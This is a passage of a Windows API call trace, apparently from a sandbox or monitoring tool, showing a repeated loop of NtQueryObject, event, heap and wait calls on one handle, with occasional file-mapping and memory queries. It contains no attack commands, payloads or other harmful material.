ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.119] ResetEvent (hEvent=0x110) returned 1 [0072.119] SetEvent (hEvent=0x114) returned 1 [0072.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.119] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.119] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.119] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.119] ResetEvent (hEvent=0x110) returned 1 [0072.119] SetEvent (hEvent=0x114) returned 1 [0072.119] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.119] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.120] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.120] ResetEvent (hEvent=0x110) returned 1 [0072.120] SetEvent (hEvent=0x114) returned 1 [0072.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.120] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.120] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.120] ResetEvent (hEvent=0x110) returned 1 [0072.120] SetEvent (hEvent=0x114) returned 1 [0072.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.120] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.120] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.120] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.120] ResetEvent (hEvent=0x110) returned 1 [0072.120] SetEvent (hEvent=0x114) returned 1 [0072.120] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.121] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.121] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.121] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.121] ResetEvent (hEvent=0x110) returned 1 [0072.121] SetEvent (hEvent=0x114) returned 1 [0072.121] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.121] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.121] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.121] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.121] ResetEvent (hEvent=0x110) returned 1 [0072.121] SetEvent (hEvent=0x114) returned 1 [0072.121] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.121] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.121] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.121] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.121] ResetEvent (hEvent=0x110) returned 1 [0072.121] SetEvent (hEvent=0x114) returned 1 [0072.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.122] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.122] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.122] ResetEvent (hEvent=0x110) returned 1 [0072.122] SetEvent (hEvent=0x114) returned 1 [0072.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.122] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.122] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.122] ResetEvent (hEvent=0x110) returned 1 [0072.122] SetEvent (hEvent=0x114) returned 1 [0072.122] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.122] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.122] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.123] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.123] ResetEvent (hEvent=0x110) returned 1 [0072.123] SetEvent (hEvent=0x114) returned 1 [0072.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.123] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.123] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.123] ResetEvent (hEvent=0x110) returned 1 [0072.123] SetEvent (hEvent=0x114) returned 1 [0072.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.123] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.123] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.123] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.123] ResetEvent (hEvent=0x110) returned 1 [0072.123] SetEvent (hEvent=0x114) returned 1 [0072.123] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.124] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.124] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.124] ResetEvent (hEvent=0x110) returned 1 [0072.124] SetEvent (hEvent=0x114) returned 1 [0072.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.124] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.124] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.124] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.124] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.124] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.124] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.124] ResetEvent (hEvent=0x110) returned 1 [0072.124] SetEvent (hEvent=0x114) returned 1 [0072.124] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.124] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.125] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.125] ResetEvent (hEvent=0x110) returned 1 [0072.125] SetEvent (hEvent=0x114) returned 1 [0072.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.125] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.125] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.125] ResetEvent (hEvent=0x110) returned 1 [0072.125] SetEvent (hEvent=0x114) returned 1 [0072.125] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.125] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.125] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.125] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.125] ResetEvent (hEvent=0x110) returned 1 [0072.125] SetEvent (hEvent=0x114) returned 1 [0072.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.126] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.126] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.126] ResetEvent (hEvent=0x110) returned 1 [0072.126] SetEvent (hEvent=0x114) returned 1 [0072.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.126] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.126] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.126] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.126] ResetEvent (hEvent=0x110) returned 1 [0072.126] SetEvent (hEvent=0x114) returned 1 [0072.126] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.126] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.127] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.127] ResetEvent (hEvent=0x110) returned 1 [0072.127] SetEvent (hEvent=0x114) returned 1 [0072.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.127] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.127] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.127] ResetEvent (hEvent=0x110) returned 1 [0072.127] SetEvent (hEvent=0x114) returned 1 [0072.127] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.127] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.127] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.127] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.127] ResetEvent (hEvent=0x110) returned 1 [0072.127] SetEvent (hEvent=0x114) returned 1 [0072.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.128] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.128] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.128] ResetEvent (hEvent=0x110) returned 1 [0072.128] SetEvent (hEvent=0x114) returned 1 [0072.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.128] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.128] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.128] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.128] ResetEvent (hEvent=0x110) returned 1 [0072.128] SetEvent (hEvent=0x114) returned 1 [0072.128] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.128] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.129] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.129] ResetEvent (hEvent=0x110) returned 1 [0072.129] SetEvent (hEvent=0x114) returned 1 [0072.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.129] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.129] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.129] ResetEvent (hEvent=0x110) returned 1 [0072.129] SetEvent (hEvent=0x114) returned 1 [0072.129] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.129] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.129] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.129] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.129] ResetEvent (hEvent=0x110) returned 1 [0072.129] SetEvent (hEvent=0x114) returned 1 [0072.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.130] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.130] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.130] ResetEvent (hEvent=0x110) returned 1 [0072.130] SetEvent (hEvent=0x114) returned 1 [0072.130] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.130] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.130] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.130] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.130] MapViewOfFile (hFileMappingObject=0x18c, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4) returned 0x320000 [0072.130] NtQueryVirtualMemory (in: ProcessHandle=0xffffffff, Address=0x320000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0xf80048, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0xf80048, ResultLength=0x0) returned 0xc0000098 [0072.130] UnmapViewOfFile (lpBaseAddress=0x320000) returned 1 [0072.130] ResetEvent (hEvent=0x110) returned 1 [0072.130] SetEvent (hEvent=0x114) returned 1 [0072.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.131] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.131] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.131] ResetEvent (hEvent=0x110) returned 1 [0072.131] SetEvent (hEvent=0x114) returned 1 [0072.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.131] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.131] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.131] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.131] ResetEvent (hEvent=0x110) returned 1 [0072.131] SetEvent (hEvent=0x114) returned 1 [0072.131] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.131] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.132] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.132] ResetEvent (hEvent=0x110) returned 1 [0072.132] SetEvent (hEvent=0x114) returned 1 [0072.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.132] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.132] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.132] ResetEvent (hEvent=0x110) returned 1 [0072.132] SetEvent (hEvent=0x114) returned 1 [0072.132] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.132] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.132] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.132] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.133] ResetEvent (hEvent=0x110) returned 1 [0072.133] SetEvent (hEvent=0x114) returned 1 [0072.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.133] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.133] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.133] ResetEvent (hEvent=0x110) returned 1 [0072.133] SetEvent (hEvent=0x114) returned 1 [0072.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.133] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.133] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.133] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.133] ResetEvent (hEvent=0x110) returned 1 [0072.133] SetEvent (hEvent=0x114) returned 1 [0072.133] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.133] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.134] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.134] ResetEvent (hEvent=0x110) returned 1 [0072.134] SetEvent (hEvent=0x114) returned 1 [0072.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.134] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.134] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.134] ResetEvent (hEvent=0x110) returned 1 [0072.134] SetEvent (hEvent=0x114) returned 1 [0072.134] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.134] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0072.134] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x107fd60) returned 1 [0072.135] NtQueryObject (in: Handle=0x18c, ObjectInformationClass=0x2, ObjectInformation=0xf80048, ObjectInformationLength=0x2800, ReturnLength=0x1f4ff90 | out: ObjectInformation=0xf80048, ReturnLength=0x1f4ff90) returned 0x0 [0072.135] ResetEvent (hEvent=0x110) returned 1 [0072.135] SetEvent (hEvent=0x114) returned 1 [0072.135] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x200) returned 0x107fd60 [0072.135] WaitForMultipleObjects (nCount=0x2, lpHandles=0x107fd60*=0x110, bWaitAll=0, dwMilliseconds=0xffffffff) returned 